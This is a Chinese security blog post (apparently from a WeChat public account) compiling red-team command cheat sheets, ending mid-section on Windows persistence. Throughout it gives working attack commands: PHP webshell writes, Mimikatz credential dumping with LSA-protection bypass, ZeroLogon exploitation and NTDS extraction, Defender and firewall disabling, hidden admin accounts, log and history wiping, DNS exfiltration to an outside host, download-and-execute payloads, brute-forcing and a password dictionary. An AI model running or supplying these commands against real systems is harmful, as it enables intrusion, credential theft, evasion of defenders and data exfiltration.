专栏名称: 计算机与网络安全
信息安全公益宣传,信息安全知识启蒙。
目录
相关文章推荐
阿拉善宏桥信息网  ·  2025.02.23更新【5】家政服务、生活 ... ·  20 小时前  
赛博禅心  ·  超级硬广:输入 ikun,解锁 ... ·  2 天前  
赛博禅心  ·  超级硬广:输入 ikun,解锁 ... ·  2 天前  
51好读  ›  专栏  ›  计算机与网络安全

HVV 红队常用命令

计算机与网络安全  · 公众号  ·  · 2024-06-17 07:57

正文

微信公众号:计算机与网络安全

HVV 资料 加入星球下载

一、常用命令

收集渗透中会用到的常用命令 。

建议直接[Ctrl+F]查找

java命令执行

如下编码网站:
https://ares-x.com/tools/runtime-exec/
https://r0yanx.com/tools/java_exec_encode/
https://www.bugku.net/runtime-exec-payloads/

手动编码操作

bash -c {echo,cGluZyAxMjcuMC4wLjE7ZWNobyAxID50ZXN0LnR4dA==}|{base64,-d}|{bash,-i}

命令执行,定位资源文件写文件回显

Linux

find /|grep index.js|while read f;do sh -c "whoami" >$(dirname $f)/test.txt;done

Windows(注意盘符)

for /r D:\ %i in (index.js*) do whoami > %i/../test.txt

写shell

在windows中,批处理需要转义字符主要有 “&”,“|”,“”等等,转义字符为”^”
在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。
windows命令行最大长度为8191,16进制长度是113898。echo写文件时注意长度。

方法1

set /p=qaxnbd:\1d13.txt

方法2

echo qaxnb>1we.txt

追加内容

echo qaxnb>>1we.txt

不换行追加

set /p="121d2">>a.txt

规避空格

echo.123>>a.txt
echo,123>>a.txt
type;a.txt

写特殊字符很多的文件,可以用certutil编码再还原。如下还原

certutil -f -decode 111.txt C:\\111.jsp
certutil -decodehex 111.txt C:\\111.jsp

linux下base64

echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php

php的

echo \ >1.php

绕过空格

>  重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php}
%20
%09

windows打包目录

powershell -Command "Compress-Archive -Path E:\update\ -DestinationPath E:\test.zip"

匿名文件存储

可用命令行
https://transfer.sh/ 使用很简单

上传,成功后返回随机路径
curl --upload-file ./hello.txt https://transfer.sh/hello.txt

获取
https://transfer.sh/fF6OA7aF8o/hello.txt

nmap

nmap -sn 10.11.1.0/24
nmap -sV -p- 10.11.1.0
nmap 10.11.1.0 --script vuln
nmap -p445 10.11.1.0 --script smb-vuln-ms17-010
nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt

nmap 极速扫描,快如闪电

nmap -n --unique --resolve-all -Pn --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m -oX {filename} --version-intensity 9 --min-rate 10000 -T4 192.168.23.1
nmap -n --resolve-all -Pn --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m -oX {filename} --version-intensity 9 --min-rate 10000 -T4 192.168.23.1

获取http title

nmap -n --resolve-all -Pn --min-hostgroup  --max-retries 3 --host-timeout 10m --script-timeout 3m --version-intensity 9 --min-rate 10000 --script=http-title -T4 -p- -iL domain.txt

masscan

注意速率问题,根据带宽调整。100m带宽可调3000,注意是vps,不是家庭宽带。

关于编译,直接git拉下来,make就行。生成的文件在bin下面。
扫描单ip

masscan 192.168.1.110 -p 1-65535 --rate=1000

扫描列表

masscan -iL ip.txt -p1-65535 --rate=1000 -oL port.txt

解析,提取ip:port

cat port.txt |awk '{print $4":"$3}'

转换为nmap可用端口

cat p.txt | tr "\n" ,

端口列表

22,23,135,445,389,3389,80,443,8080,7001,3306,1433,1521,6379,27017,2375,5900,5432,4899

21-23,80-90,135,137,161,389,443,445,873,1099,1433,1521,1900,2082,2083,2222,2375,2376,2601,2604,3128,3306,3311,3312,3389,4440,4848,5001,5432,5560,5900-5902,6082,6379,7001-7010,7778,8009,8080-8090,8649,8888,9000,9200,10000,11211,27017,28017,50000,51111,50030,50060

20-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50050,50300,50389,50500,50636,50800,51111,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389

字典


top200123456password1234567891234567812345qwerty123123111111abc1231234567dragon1q2w3e4rsunshine654321master1234football1234567890000000computer666666supermanmichaelinternetiloveyoudaniel1qaz2wsxmonkeyshadowjessicaletmein




    
baseballwhateverprincessabcd1234123321starwars121212thomaszxcvbnmtrustno1killerwelcomejordanaaaaaa123qwefreedompassword1charliebatmanjennifer7777777michellediamondolivermercedesbenjamin11111111snoopysamanthavictoriamatrixgeorgealexandersecretcookieasdfgh987654321123abcorangefuckyouasdf1234pepperhuntersilverjoshuabanana1q2w3echelsea1234qwersummerqwertyuiopphoenixandrewq1w2e3r4elephantrainbowmustangmerlinlondongarfieldrobertchocolate112233samsungqazwsxmatthewbusterjonathangingerflower555555testcarolineamandamaverickmidnightmartinjunior88888888anthonyjasminecreativepatrickmickey123qwerty123cocacolachickenpassw0rdforeverwilliamnicolehelloyellownirvanajustinfriendscheesetiggermotherliverpoolblink182asdfghjklandreaspiderscooterrichardsoccerrachelpurplemorganmelissajacksonarsenal222222qwe123gabrielferrarijasperdaniellebanditangelascorpionprincemaggieaustinveronicanicholasmonsterdextercarlosthundersuccesshannahashley131313stellabrandonpokemonjosephasdfasdf999999metallicadecemberchestertaylorsophiesamuelrabbitcrystalbarneyxxxxxxstevenrangerpatriciachristianassholespidermansandrahockeyangelssecurityparkerheather888888victorharley333333systemslipknotnovemberjordan23canadatennisqwertyuicasper

Mimikatz

一条命令

.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

控制台执行多条命令,用log防止进程崩溃,数据丢失

mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest

msf中执行命令

mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest

注册表开启wdigest,08r2后默认关闭。需要目标注销,重新登录。2016需要重启。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1

bypass lsa Protection(ppl)

查询是否启用

reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

把mimidriver.sys拷贝到同级目录,进行加载bypass

mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug    
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # !processprotect /process:lsass.exe
mimikatz # !-

cs凭证解析

提取用户名

awk -F":::" '{print $1}' credentials.txt | awk -F"\\" '{print $2}'

提取hash

awk -F":::" '{print $2}' credentials.txt

存活主机

for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr "TTL="

bypass

Defender排除项

powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\test"

gobuster

gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt

dirsearch

python3 dirsearch.py -e php,html,js -u https://target
python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
python3 dirsearch.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20
python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080

nbtscan

nbtscan.exe 10.11.1.0/24

代理工具

proxychain
sockscap64
proxifier

https://drive.google.com/drive/folders/1x5naJeK2YkV6QCYUlUg5QNMl1Izf4-ti
https://www.mediafire.com/folder/32rj1769a2w82/v4.7

内网穿透工具

fuso

  • • https://github.com/editso/fuso.git

  • • 相对冷门,不会被杀 在9004上开启socks5代理 fuc.exe 159.138.0.0 9003 -h 127.0.0.1 -p 9004 -b 9004 -n test -t socks5 --bridge-host 0.0.0.0 --bridge-port 9004

frp

nps

https://github.com/ehang-io/nps

 sudo ./nps install
 sudo nps start

安装后配置文件位置/etc/nps,默认密码(可在配置文件里面修改)admin/123

iox

Stowaway

https://github.com/lz520520/Stowaway

Venom

https://github.com/Dliv3/Venom

ssh

无记录shell

 ssh -T [email protected] /usr/bin/bash -i

grep

grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt

web应用

grep -EHirn '--include=*.'{java,jsp,jspx,xml,conf,json,ini,properties,yaml,toml,plist,txt,sql} "accesskey|api_key|apikey|jdbc|username|pass|passwd|password" webapps/

搜索文件内的字符串

grep -r "test" ./src

显示行号
grep -rn "test" ./src

mysql

开远程

use mysql;  
update user set host = '%' where user = 'root';  
FLUSH PRIVILEGES ;  
select host, user from user;
 mysql -uroot -p -e "select * from mysql.user;" >1.txt

不登录直接执行sql

mysql -uaHmin -proot test -e "select now()" -N >H:/work/target1.txt
mysql -uroot -e "show databases;" >1.txt

mysql getshell

show variables like '%secure%'    
select '' into outfile '/var/www/xx.php';  
select '' into dumpfile '/var/www/xx.php';  
set global general_log=on;  
set global general_log_file='/var/www/1.php';  
select '';
select '' into outfile 'C:/wamp/www/abb.php';

sqlmap

python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --proxy "http://127.0.0.1:1080"
python sqlmap.py  -u "http://www.vuln.cn" –cookie "id=11" --level 2
python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3 
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql  --dbs
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql  -D test --tables
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql  -D test -T admin –-columns
python sqlmap.py -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql -D test -T admin -C "username,password" --dump
python sqlmap.py -r "c:\request.txt" -p id –dbms mysql –file-read="e:\www\as\config.php"

sql注入

mssql

堆叠注入,xpcmdshell

http://www.vuln.cn/post.php?id=11;DECLARE/**/@ljbd/**/VARCHAR(8000);SET/**/@ljbd=0x70696e67202d6e6320312077772e36373332396163312e646e732e313433332e65752e6f7267;EXEC/**/master..xp_cmdshell/**/@ljbd--

gitlab相关

进入控制台

gitlab-rails console production
如果没配置环境变量,cd到安装目录下

/bin/rails console production

如果报错可用
./rails console -e production

修改密码

通过用户名查找,赋值给user
user = User.where(username:"root").first

修改密码
user.password = "abc123"
user.password_confirmation= "abc123"
user.save!

把用户设为admin

通过用户名查找,赋值给user
user = User.where(username:"test").first
user.admin=ture
user.save!

新增用户参考:https://gist.github.com/tacettin/8182358

找可写目录


### linux
#### 在/root  war文件的同目录下

find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done

find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done

#### 在/root  war文件夹下

find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done

find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done

### windows
#### 在C:\Users\liulangmao\Desktop任意子目录  war.txt文件的同目录下

for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)

for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (del %i\..\finddir.txt)

#### 在C:\Users\liulangmao\Desktop任意子目录  war文件夹下

for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (echo %i > %i\finddir.txt)

for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (del %i\finddir.txt)

示例:在weblogic靶机/root 所有war文件夹下的finddir.txt文件中写入该war文件夹的路径。

find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done

程序名找启动路径

wmic process where name='mysqld.exe' get processid,executablepath,name

程序pid找路径

wmic process get name,executablepath,processid|findstr pid

启动路径找login.jsp

for /f %i in ('dir /s /b D:\UFGOV\U8\login.jsp') do (echo %i)

base64分段不换行追加写文件

echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\UFGOV\U8\webapps\demonstrate.txt

解决cmd无回显问题

powershell Get-ChildItem C:

hydra

参数:
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口 
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV
>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10

medusa

参数:
-h 目标名或IP  -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql

python交互shell

py3

python3 -c "import pty;pty.spawn('/bin/bash')"

py2

python2 -c 'import pty;pty.spawn("/bin/sh")'

python -c 'import pty;pty.spawn("/bin/bash")'

用完记得清记录

history -c

无交互添加用户

useradd newuser;echo "newuser:password"|chpasswd
useradd -p `openssl passwd 123456` guest
useradd -p "$(openssl passwd 123456)" guest
useradd newuwer;echo -e "123456\n123456\n" |passwd newuser

windows

net user admin$ Afabab@20 /add
net localgroup administrators admin$ /add

net user guest /active:yes
net localgroup administrators guest /add

Net localgroup Administrators kent /add /domain 将域用户添加到域管理员组

Net localgroup Administrators /add test\kent 将域用户添加到本地管理员组

防火墙

关闭防火墙

netsh firewall set opmode mode=disable

放行远程8888端口进来的流量
netsh advfirewall firewall add rule name="88" protocol=TCP dir=in remoteport=8888 action=allow

放行出去到远程8888端口的流量
netsh advfirewall firewall add rule name="88" protocol=TCP dir=out remoteport=8888 action=allow

放行本地4444端口出去的流量
netsh advfirewall firewall add rule name="44" protocol=TCP dir=out localport=4444 action=allow

放行从本地4444端口进来的流量
netsh advfirewall firewall add rule name="44" protocol=TCP dir=in localport=4444 action=allow

删除规则
netsh advfirewall firewall delete rule name="88"

查看防火墙配置(可看到具体规则等配置)
netsh firewall show config

关闭windefebd
net stop windefend

netsh firewall set portopening TCP 445 ENABLE //打开445端口    
netsh firewall set portopening TCP 3389 ENABLE //开放终端  
netsh firewall delete allowedprogram C:/A.exe //删除放行程序A.exe   
netsh firewall set allowedprogram C:/A.exe test ENABLE //添加程序C盘下的A.exe并放行   
netsh firewall add allowedprogram C:/A.exe test ENABLE //添加程序C盘下的A.exe并放行   

新版本命令   

netsh advfirewall firewall add rule name="test" dir=in action=allow program="C:\windows\temp\update.exe" enable=yes   
netsh advfirewall firewall add rule name="test" dir=out action=allow program="C:\windows\temp\update.exe" enable=yes   

端口转发
把本地的 801 端口转发到远程的 172.23.80.14 的 80 端口

netsh interface portproxy add v4tov4 listenport=801 connectport=80 connectaddress=172.23.80.14

iptables 放行

iptables -A INPUT -p tcp --dport 80 -j ACCEPT

frp常用配置

frpc.ini

[common]
server_addr = xxxxxx
server_port = 7000

[rdp]
type = tcp
local_port = 3389
remote_port = 3389

[plugin_http_proxy]
type = tcp
remote_port = 10801
plugin = http_proxy

[plugin_socks5]
type = tcp
remote_port = 1080
plugin = socks5

ZeroLogon

  • • 产生日志 4742(利用成功), 5580(利用失败)

  • • 流量特征明显

  • • 会被av直接秒

  • • 有可能会导致目标脱域

  • • 代理不稳,容易出问题

 git clone https://github.com/mstxq17/cve-2020-1472.git
 
 python3 zerologon_tester.py Dc02 172.23.119.120 域外检测
 
 PingCastle.exe --server 172.23.119.120 --scanner zerologon --scmode-dc 域内检测
 

洞清空目标域控机器账户密码

python3 cve-2020-1472-exploit.py Dc02$ 172.23.119.120

无密码远程提取 ntds.dit

python3 secretsdump.py qq.local/'Dc02$'@172.23.119.120 -no-pass -outputfile qq.local.ntds.hash

用 administrator 域管账户 hash 远程导出域控机器账户 hash [hex 格式]

python3 secretsdump.py -hashes :ccef208c6485269c20db2cad21734fe7 qq/[email protected]

用上面的 hex 还原目标域控机器账户密码

python3 restorepassword.py Dc02@Dc02 -target-ip 172.23.119.120 -hexpass daf1d2acc25d2e54218921737a40d58192b9bcdf089ddbeaf9f7931571b07916f96e2c51d8d00f56d2440c13c0e5586e2dafd1669e37131***

删rdp日志

清除远程桌面连接记录,创建clear.bat

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp

开3389

方法一
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net start TermService

方法二
#设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#检查端口状态
netstat -an|find "3389"
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

文件搜索

https://www.anquanke.com/post/id/245019

findstr /s /i /n /d:C:\ /c:"123123" *.txt
for /r C: %i in (login.*) do @echo %i
where /R C: login.*
dir /s/a-d/b login.*
find / -name index.php
find / -name index.php
find / -name "index.php" | xargs grep "111222"
updatedb && locate index.php
进程路径
wmic process get name,executablepath

命令执行无回显外带oob

Windows

在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。

echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=

下面这个语句,主要是过滤作用。把helo.txt文件中的“=”过滤并重新输出文件。

for /f "delims=^= tokens=1,*" %i in (helo.txt) do (echo %i>>text3.txt)

为什么在上面需要过滤=,主要是因为在执行ping命令的时候是不允许带=号的,相较于nslookup,ping命令成功率相对较高,但如果路径过长,可能会导致失败。具体多长需要大家自行试验。

echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR=

如果需要外带多行命令,则需要以下语句:

where /R C: login.* > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }

win常用变量

//变量                     类型       描述
//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的名称。
//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索路径。
//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%     系统       返回处理器的版本号。
//%P ROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
//%USERNAME%               本地       返回当前登录的用户的名称。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。

Linux

在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出自己想要的东西。

ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io

base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。

pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io

如果有多行数据需要外带,那么请考虑下面的语句。

var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done

windows短文件名

短文件名查看

用"dir /x"命令可以方便地帮助您查看系统对目录或文件名的缩写

常见短文件名


Documents and Settings
可表示为
DOCUME~1
又如:
Local Settings
可表示为
LOCALS~1

Program Files
Program Files (x86)
这两个目录分别表示为:
PROGRA~1
PROGRA~2

powershell文件下载

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'

常用

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','1.exe')
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")

bypass

echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -

base64编码(和其他base64不同,解不开)

$Text = "(new-object System.Net.WebClient).DownloadFile('http://xxxxxxxxxx:8000/bddch.txt','bdchd.txt')"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

base64解码

$EncodedText = "dwByAGkAxxxxxxxxxxxxxxxxxxxAG0AbgB0AG4AJwA="
$DecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedText))
$DecodedText

运行base64编码后的命令

powershell -noP -sta -enc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

certutil.exe下载

C:\Windows\System32\certutil.exe C:\Users\Public\cer.exe
certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.exe
certutil.exe -urlcache -split -f http://192.168.6.27:8012/download/f.ext C:\windows\temp\up.exe &&start C:\windows\temp\up.exe

删除缓存

certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete

查看缓存项目:

certutil.exe -urlcache *

转为base64

certutil -encode lcx64.exe lcx64.txt

转回来

certutil -decode lcx64.txt lcx64.exe

查看md5

certutil -hashfile a.exe MD5

bypass

Certutil & Certutil –urlcache –f –split url
Certutil | Certutil –urlcache –f –split url

bitsadmin

不支持https、ftp协议,php python带的服务器会出错

bitsadmin /transfer n http://192.168.1.1/1.exe  C:\test\update\1.exe

wget 下载文件

下载到指定目录

wget -P /tmp http://127.0.0.1:8088/aliyun

curl 下载

使用内置option:-o(小写)

curl -o dodo1.jpg http:www.linux.com/dodo1.JPG

使用内置option:-O(大写)

curl -O http://www.linux.com/dodo1.JPG

下载后,上线

chmod +x /tmp/aliyun&&/tmp/aliyun

windows权限维持

Startup目录

NT6以后的目录如下:

对当前用户有效:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
对所有用户有效:
